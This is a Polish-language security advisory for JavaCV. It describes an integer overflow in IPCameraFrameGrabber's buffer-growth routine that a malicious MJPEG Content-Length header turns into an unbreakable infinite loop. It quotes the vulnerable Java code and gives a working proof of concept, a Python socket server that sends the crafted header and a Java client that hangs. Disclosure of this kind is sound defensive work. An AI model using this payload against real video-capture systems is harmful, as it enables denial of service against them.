JavaCV: Przepełnienie liczby całkowitej w IPCameraFrameGrabber powoduje DoS przez nieskończoną pętlę
Podsumowanie
IPCameraFrameGrabber przetwarza wartość Content-Length z wieloczęściowego strumienia HTTP MJPEG zwracanego przez skonfigurowaną kamerę IP bez weryfikacji zakresu wartości. Złośliwy lub skompromitowany punkt końcowy kamery — lub jakikolwiek atakujący w sieci zdolny do modyfikowania niezaszyfrowanych odpowiedzi HTTP (strumienie te są zwykle przesyłane przez http://, jak opisano w dokumentacji samej klasy) — może przesłać wartość Content-Length z zakresu 1073741825-2147483647. Prowadzi to w wewnętrznej procedurze powiększania bufora ensureBufferCapacity(int) do przepełnienia 32-bitowej liczby całkowitej ze znakiem, co przekształca pętlę powiększania bufora w rzeczywistą nieskończoną pętlę: zmienna pętli przechodzi w stan 0 i nigdy więcej nie spełnia warunku wyjścia. Wątek wywołujący grab()/grabBufferedImage() stale obciąża procesor w 100% i nigdy nie powraca, trwale zawieszając wątek pobierania klatek aplikacji bez możliwości obsługi wyjątku, limitu czasu czy przerwania.
Szczegóły
Plik: src/main/java/org/bytedeco/javacv/IPCameraFrameGrabber.java
private byte[] readImage() throws IOException {
...
int c0 = subheader.indexOf("content-length: ");
final int c1 = subheader.indexOf('\r', c0);
if (c0 < 0) {
throw new EOFException("The camera stream ended unexpectedly");
}
c0 += 16;
final int contentLength = Integer.parseInt(subheader.substring(c0, c1).trim()); // <-- fully attacker-controlled
// adaptive size - careful - don't want a 2G jpeg
ensureBufferCapacity(contentLength); // <-- no upper bound enforced
input.readFully(pixelBuffer, 0, contentLength);
...
}
private void ensureBufferCapacity(int desiredCapacity) {
int capacity = pixelBuffer.length; // starts at 1024
while (capacity < desiredCapacity) {
capacity *= 2; // <-- unchecked int multiplication
}
if (capacity > pixelBuffer.length) {
pixelBuffer = new byte[capacity];
}
}
Wartość contentLength jest pobierana bezpośrednio z nagłówków odpowiedzi HTTP strumienia kamery i przekazywana do ensureBufferCapacity bez sprawdzania górnego limitu (komentarz „adaptive size - careful - don't want a 2G jpeg” wskazuje, że autor był świadomy ryzyka, lecz nie zaimplementował weryfikacji).
ensureBufferCapacity wielokrotnie podwaja capacity (32-bitowy int, zaczynając od pixelBuffer.length == 1024), aż osiągnie >= desiredCapacity. Jeśli desiredCapacity jest większe niż 2^30 (1073741824), ale <= Integer.MAX_VALUE (2147483647):
capacityosiąga2^30(1073741824) po 20 podwojeniach; warunek pętlicapacity < desiredCapacityjest nadal prawdziwy.capacity *= 2oblicza2^31, co powoduje przepełnienie 32-bitowej wartości ze znakieminti przejście naInteger.MIN_VALUE(-2147483648).- Warunek pętli
capacity < desiredCapacity(liczba ujemna porównywana z dużą liczbą dodatniądesiredCapacity) jest nadal spełniony, więc pętla kontynuuje działanie. capacity *= 2obliczaInteger.MIN_VALUE * 2, co w 32-bitowej arytmetyce uzupełnień do dwóch daje0.- Od tego momentu
capacityma stale wartość0(0 * 2 == 0), a warunek0 < desiredCapacitypozostaje prawdziwy na zawsze — pętlawhilenigdy się nie kończy.
Jest to pętla w pełni ograniczona mocą obliczeniową procesora, bez operacji wejścia/wyjścia, wywołań blokujących ani sprawdzania InterruptedException, dlatego nie można jej przerwać za pomocą Thread.interrupt() i nie reaguje ona na skonfigurowane w komponencie parametry readTimeout/connectionTimeout (dotyczą one wyłącznie odczytu z gniazda sieciowego, który następuje przed tą ścieżką kodu). Jedynym rozwiązaniem jest zewnętrzne zakończenie procesu maszyny JVM lub wątku.
PoC
Minimalny złośliwy serwer MJPEG (lub serwer MITM) odtwarzający zawieszenie:
import socket
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 8080))
srv.listen(1)
print("listening on :8080")
conn, _ = srv.accept()
conn.recv(4096) # swallow the client's request
# Any value in (1073741824, 2147483647] triggers the overflow.
malicious_length = 2000000000
header = (
"--myboundary\r\n"
"Content-Type: image/jpeg\r\n"
"Content-Length: %d\r\n\r\n" % malicious_length
)
conn.sendall(header.encode())
# The client will now spin forever inside ensureBufferCapacity()
# before ever attempting to read the (fake) body.
Klient Java (reprezentatywny dla aplikacji integrujących javacv w celu odczytu adresu URL „kamery IP”):
import org.bytedeco.javacv.IPCameraFrameGrabber;
import java.util.concurrent.TimeUnit;
public class Poc {
public static void main(String[] args) throws Exception {
IPCameraFrameGrabber grabber = new IPCameraFrameGrabber(
"http://127.0.0.1:8080/videostream.cgi", 5, 5, TimeUnit.SECONDS);
grabber.start();
grabber.grab(); // never returns; thread pegs a CPU core at 100% forever
}
}
Uruchomienie klienta łączącego się z powyższym złośliwym serwerem powoduje trwałe zawieszenie grab() z pełnym obciążeniem rdzenia procesora, niezależnie od wartości startTimeout/grabTimeout przekazanych do konstruktora.
Wpływ
Każda aplikacja używająca IPCameraFrameGrabber do odbierania strumienia kamery/MJPEG ze źródła, które nie jest w pełni zaufane — w tym powszechne strumienie otwartego protokołu http:// (pokazane w przykładowej dokumentacji samej klasy: http://host/videostream.cgi?...), podatne na manipulację przez atakującego w sieci — może zostać wprowadzona w stan trwałego zawieszenia wątku pobierającego klatki przy 100% obciążeniu procesora za pomocą pojedynczego, spreparowanego nagłówka odpowiedzi. Nie jest wymagane uwierzytelnienie, ładunek JPEG ani faktyczny transfer danych; wystarczy sam złośliwy nagłówek. Powtarzające się wykorzystanie podatności przeciwko serwerowi tworzącemu osobny wątek pobierania dla każdego klienta lub kamery (częsty wzorzec w systemach monitoringu wideo) może wyczerpać dostępne wątki oraz zasoby procesora, prowadząc do szerszej odmowy usługi.
Co trzeba zrobić
Zaktualizuj do wersji 1.5.14 lub nowszej albo zastosuj commit cd1977800b827beadf3c53c4032e57172845e0b4.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Java / Kotlin (Maven) | org.bytedeco:javacv | < 1.5.14 | 1.5.14 |
Odnośniki
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Słabość (CWE)
CWE-190- Platforma
- Java / Kotlin (Maven)
- Paczka
org.bytedeco:javacv- Ujawniono
- 16.10.2026
- Aktualizacja
- 21.10.2026 10:00
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-rxjv-24xq-76wc - CC BY 4.0
Historia podatności: org.bytedeco:javacv
Wszystkie opisane podatności tej paczki (Java / Kotlin (Maven)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
To jedyna znana podatność tej paczki.
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.